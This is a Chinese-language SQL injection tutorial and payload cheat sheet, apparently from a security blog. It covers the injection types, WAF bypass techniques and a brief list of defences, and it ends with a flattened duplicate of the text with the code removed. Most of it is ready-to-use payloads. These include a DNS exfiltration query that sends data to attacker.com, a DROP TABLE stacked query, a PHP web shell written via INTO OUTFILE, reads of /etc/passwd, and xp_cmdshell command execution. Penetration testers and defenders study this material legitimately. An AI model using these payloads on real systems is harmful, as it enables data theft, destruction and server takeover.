SQL-Inject 注入类型及绕过waf思维分析原理-附带Payloads备忘录大全(精选)
字数 1357 2025-08-10 16:34:28

SQL注入类型及绕过WAF技术详解

一、SQL注入基础概念

SQL注入(SQL Injection)是十大Web安全漏洞之一,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,欺骗数据库服务器执行非授权操作,可能导致数据泄露、篡改或删除。

数据库基本结构

  • 关系型数据库:MySQL/Oracle/MSSQL/PostgreSQL等
  • 非关系型数据库:Redis/MongoDB/Memcache/SQLite等
  • 数据库结构:数据库→表→字段→数据

基本SQL操作

# 选择数据库
USE database_name;

# 查询数据
SELECT * FROM table_name;

# 插入数据
INSERT INTO table_name (field1, field2) VALUES (value1, value2);

# 更新数据
UPDATE table_name SET field1=new_value WHERE condition;

# 删除数据
DELETE FROM table_name WHERE condition;

二、SQL注入原理与流程

1. MySQL注释方法

  • #:行尾注释
  • -- (注意空格):SQL标准注释
  • /* */:多行注释

2. 注入测试方法

通过向输入参数追加测试语句,观察响应变化判断是否存在漏洞:

字符型注入测试

' or '1
' or 1 -- -
" or "" = "
" or 1=1 -- -
'='
'like'
'=0--+

数字型注入测试

1 or 1=1 -- qwe

延时注入测试

admin' or sleep(3) -- qwe

3. 注入基本流程

  1. 发现漏洞
  2. 查询当前列数
  3. 查询数据库信息/表名
  4. 查询列属性
  5. 获取数据

三、列数探测技术

1. ORDER BY方法

1' ORDER BY 1--+  # 正常
1' ORDER BY 2--+  # 正常
...
1' ORDER BY n--+  # 报错时n-1即为列数

2. GROUP BY方法

1' GROUP BY 1--+
1' GROUP BY 2--+
...
1' GROUP BY n--+  # 报错时n-1即为列数

3. UNION SELECT方法

1' UNION SELECT 1,2,3,...,n--+  # 当n等于实际列数时正常返回

四、信息提取技术

1. 提取系统信息

# 版本信息
' UNION SELECT @@version --+

# 当前数据库
' UNION SELECT database() --+

2. 提取表名

' UNION SELECT table_name FROM information_schema.tables WHERE table_schema=database() --+

# 混淆版
' UniOn Select 1,2,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=database() --+

3. 提取列名

' UNION SELECT column_name FROM information_schema.columns WHERE table_name='table_name' --+

4. 提取数据

' UNION SELECT group_concat(column_name) FROM table_name --+

五、SQL注入类型详解

1. 显错注入(Error-based)

利用数据库错误信息显示进行注入:

admin' AND updatexml(rand(),concat(CHAR(126),version(),CHAR(126)),null) --+

典型应用

  • 获取版本信息
  • 获取数据库名
  • 获取表名和字段名

2. 盲注(Blind SQL Injection)

基于响应内容变化判断:

admin' AND substring(database(),1,1)='a' --+

3. 延时注入(Time-based)

基于响应时间判断:

admin' AND if(length(database())=8,sleep(3),1) --+

4. 布尔注入(Boolean-based)

基于页面返回内容是否存在判断:

admin' AND 1=1 --+  # 返回正常内容
admin' AND 1=2 --+  # 返回空内容

5. DNS注入(DNS Exfiltration)

利用DNS请求外带数据:

SELECT load_file(concat("//",database(),".attacker.com/abc"))

前提条件

  • 拥有FILE权限
  • 数据库支持UNC路径

6. 宽字节注入

利用编码转换绕过过滤:

# GBK编码环境
%df' UNION SELECT 1,database()%23

7. 堆叠注入(Stacked Queries)

利用分号执行多条语句:

1'; DROP TABLE users; --+

8. 二次注入(Second Order)

利用已存储的数据进行注入:

# 第一次:注册用户名为 admin' --
# 第二次:修改密码时执行
UPDATE users SET password='newpass' WHERE username='admin' --'

9. HTTP头注入(Header Injection)

在HTTP头字段中注入:

# User-Agent注入
User-Agent: ' UNION SELECT 1,2,3 --+

六、WAF绕过技术

1. 大小写混淆

SeLeCt * FrOm users WhErE id=1

2. 内联注释

/*!SELECT*/ * FROM users WHERE id=1

3. 编码绕过

# URL编码
%27%20%4F%52%20%31%3D%31%20%2D%2D%2B

# 十六进制
0x27206F7220313D31202D2D2B

4. 等价函数替换

# 代替sleep()
benchmark(10000000,md5('test'))

5. 注释分割

SEL/*xxx*/ECT * FRO/*xxx*/M users WH/*xxx*/ERE id=1

6. 空白符替换

SELECT%09*%0DFROM%0Cusers%0BWHERE%0Aid=1

7. 字符串拼接

CONCAT('sel','ect') CONCAT(' * fr','om users')

七、防御措施

  1. 参数化查询:使用预处理语句
  2. 输入验证:白名单过滤
  3. 最小权限原则:限制数据库账户权限
  4. 错误处理:自定义错误页面
  5. WAF部署:Web应用防火墙
  6. 编码转换:统一字符编码
  7. 框架安全:使用ORM框架

八、常用Payloads备忘录

基础测试

' OR '1'='1
" OR "" = "
' OR 'x'='x
' OR 1=1 --+
' OR '1'='1' --+

列数探测

ORDER BY n--+
UNION SELECT 1,2,...,n--+

信息收集

# 数据库版本
@@version
version()

# 当前用户
user()
current_user()

# 数据库名
database()
schema()

表名获取

SELECT table_name FROM information_schema.tables WHERE table_schema=database()

数据获取

SELECT group_concat(column_name) FROM table_name

文件操作

# 读取文件
SELECT load_file('/etc/passwd')

# 写入文件
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/shell.php'

命令执行

# MySQL
SELECT sys_exec('whoami')

# MSSQL
EXEC xp_cmdshell 'whoami'

九、高级技巧

1. 绕过引号限制

# 使用CHAR函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110)

2. 绕过空格过滤

SELECT/**/*/**/FROM/**/users/**/WHERE/**/id=1

3. 盲注自动化

# 二分法加速盲注
' AND ascii(substring(database(),1,1))>96 --+

4. 多语句执行

1'; SELECT * FROM users; --+

5. 时间盲注优化

# 替代sleep()
SELECT BENCHMARK(10000000,MD5('test'))

十、实战思维

  1. 观察响应:注意错误信息、响应时间、返回内容变化
  2. 灵活变通:根据环境调整Payload
  3. 逐步深入:从信息收集到数据获取
  4. 绕过思维:尝试不同编码、注释、等价函数
  5. 自动化工具:sqlmap等工具辅助测试

通过理解这些技术原理和思维方法,安全研究人员可以更有效地发现和利用SQL注入漏洞,同时也能更好地防御此类攻击。

SQL注入类型及绕过WAF技术详解 一、SQL注入基础概念 SQL注入(SQL Injection)是十大Web安全漏洞之一,攻击者通过在Web应用程序的输入字段中插入恶意SQL代码,欺骗数据库服务器执行非授权操作,可能导致数据泄露、篡改或删除。 数据库基本结构 关系型数据库 :MySQL/Oracle/MSSQL/PostgreSQL等 非关系型数据库 :Redis/MongoDB/Memcache/SQLite等 数据库结构:数据库→表→字段→数据 基本SQL操作 二、SQL注入原理与流程 1. MySQL注释方法 # :行尾注释 -- (注意空格):SQL标准注释 /* */ :多行注释 2. 注入测试方法 通过向输入参数追加测试语句,观察响应变化判断是否存在漏洞: 字符型注入测试 : 数字型注入测试 : 延时注入测试 : 3. 注入基本流程 发现漏洞 查询当前列数 查询数据库信息/表名 查询列属性 获取数据 三、列数探测技术 1. ORDER BY方法 2. GROUP BY方法 3. UNION SELECT方法 四、信息提取技术 1. 提取系统信息 2. 提取表名 3. 提取列名 4. 提取数据 五、SQL注入类型详解 1. 显错注入(Error-based) 利用数据库错误信息显示进行注入: 典型应用 : 获取版本信息 获取数据库名 获取表名和字段名 2. 盲注(Blind SQL Injection) 基于响应内容变化判断: 3. 延时注入(Time-based) 基于响应时间判断: 4. 布尔注入(Boolean-based) 基于页面返回内容是否存在判断: 5. DNS注入(DNS Exfiltration) 利用DNS请求外带数据: 前提条件 : 拥有FILE权限 数据库支持UNC路径 6. 宽字节注入 利用编码转换绕过过滤: 7. 堆叠注入(Stacked Queries) 利用分号执行多条语句: 8. 二次注入(Second Order) 利用已存储的数据进行注入: 9. HTTP头注入(Header Injection) 在HTTP头字段中注入: 六、WAF绕过技术 1. 大小写混淆 2. 内联注释 3. 编码绕过 4. 等价函数替换 5. 注释分割 6. 空白符替换 7. 字符串拼接 七、防御措施 参数化查询 :使用预处理语句 输入验证 :白名单过滤 最小权限原则 :限制数据库账户权限 错误处理 :自定义错误页面 WAF部署 :Web应用防火墙 编码转换 :统一字符编码 框架安全 :使用ORM框架 八、常用Payloads备忘录 基础测试 列数探测 信息收集 表名获取 数据获取 文件操作 命令执行 九、高级技巧 1. 绕过引号限制 2. 绕过空格过滤 3. 盲注自动化 4. 多语句执行 5. 时间盲注优化 十、实战思维 观察响应 :注意错误信息、响应时间、返回内容变化 灵活变通 :根据环境调整Payload 逐步深入 :从信息收集到数据获取 绕过思维 :尝试不同编码、注释、等价函数 自动化工具 :sqlmap等工具辅助测试 通过理解这些技术原理和思维方法,安全研究人员可以更有效地发现和利用SQL注入漏洞,同时也能更好地防御此类攻击。